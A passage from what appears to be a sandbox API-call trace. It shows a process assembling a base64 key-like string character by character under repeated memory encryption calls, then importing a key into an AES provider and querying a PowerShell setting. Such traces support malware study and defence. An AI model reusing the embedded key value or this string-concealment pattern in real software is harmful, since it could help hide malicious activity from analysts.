(param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0215.039] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.039] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0215.039] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0215.039] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.040] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0215.040] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.040] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0215.040] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0215.040] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.040] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0215.040] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.040] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0215.040] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0215.040] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.040] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0215.040] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.040] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0215.040] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0215.040] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.041] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0215.041] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.041] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0215.041] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0215.041] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.041] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0215.041] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0215.041] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0215.041] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0215.041] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0215.042] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0215.042] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.042] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0215.042] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.042] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0215.042] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0215.042] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.042] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0215.042] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.042] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0215.042] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0215.042] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.043] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0215.043] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.043] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0215.043] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0215.043] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.043] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0215.043] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.043] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0215.043] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0215.043] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.043] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0215.043] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.043] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0215.044] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0215.044] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.044] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0215.044] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.044] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0215.044] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0215.044] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.044] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0215.044] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.044] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0215.044] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0215.044] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.044] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0215.045] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0215.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0215.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0215.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0215.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0215.045] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.045] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0215.045] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.045] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0215.046] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0215.046] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.046] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0215.046] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.046] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0215.046] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0215.046] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.046] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0215.046] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.046] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0215.046] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0215.047] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.047] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0215.047] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.047] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0215.047] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0215.047] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.048] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0215.048] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.048] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0215.048] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0215.048] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.048] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0215.048] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.048] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0215.048] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0215.048] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.048] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0215.048] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.049] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0215.049] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0215.049] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.049] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0215.049] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0215.049] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0215.049] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0215.049] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0215.049] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0215.049] SystemFunction041 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.050] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0215.050] SystemFunction040 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.050] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0215.050] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0215.050] SystemFunction041 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.050] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0215.050] SystemFunction040 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.050] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0215.050] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0215.050] SystemFunction041 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.050] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0215.050] SystemFunction040 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.051] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0215.051] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0215.051] SystemFunction041 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.051] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0215.051] SystemFunction040 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.051] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0215.051] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0215.051] SystemFunction041 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.051] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0215.051] SystemFunction040 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.051] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0215.051] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0215.051] SystemFunction041 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.052] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0215.052] SystemFunction040 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.052] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0215.052] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0215.052] SystemFunction041 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.052] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0215.052] SystemFunction040 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.052] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0215.052] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0215.052] SystemFunction041 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.052] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0215.052] SystemFunction040 (in: Memory=0x5c91eec, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c91eec) returned 0x0 [0215.052] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0215.053] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0215.053] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0215.053] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0215.053] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0215.053] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0215.053] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0215.053] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0215.053] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0215.053] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0215.054] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0215.054] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0215.054] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0215.054] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0215.054] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0215.054] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0215.054] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0215.054] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0215.054] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0215.054] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0215.054] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0215.054] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0215.054] EtwEventActivityIdControl () returned 0x0 [0215.055] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0215.055] SystemFunction041 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0215.055] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0215.055] SystemFunction040 (in: Memory=0x5c92bcc, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92bcc) returned 0x0 [0215.056] CryptAcquireContextW (in: phProv=0x5a2e6f0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e6f0*=0x5c4d188) returned 1 [0215.058] CryptImportKey (in: hProv=0x5c4d188, pbData=0x24ed0c8*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2eae4 | out: phKey=0x5a2eae4*=0x5c93f60) returned 1 [0215.058] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0215.059] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e850, 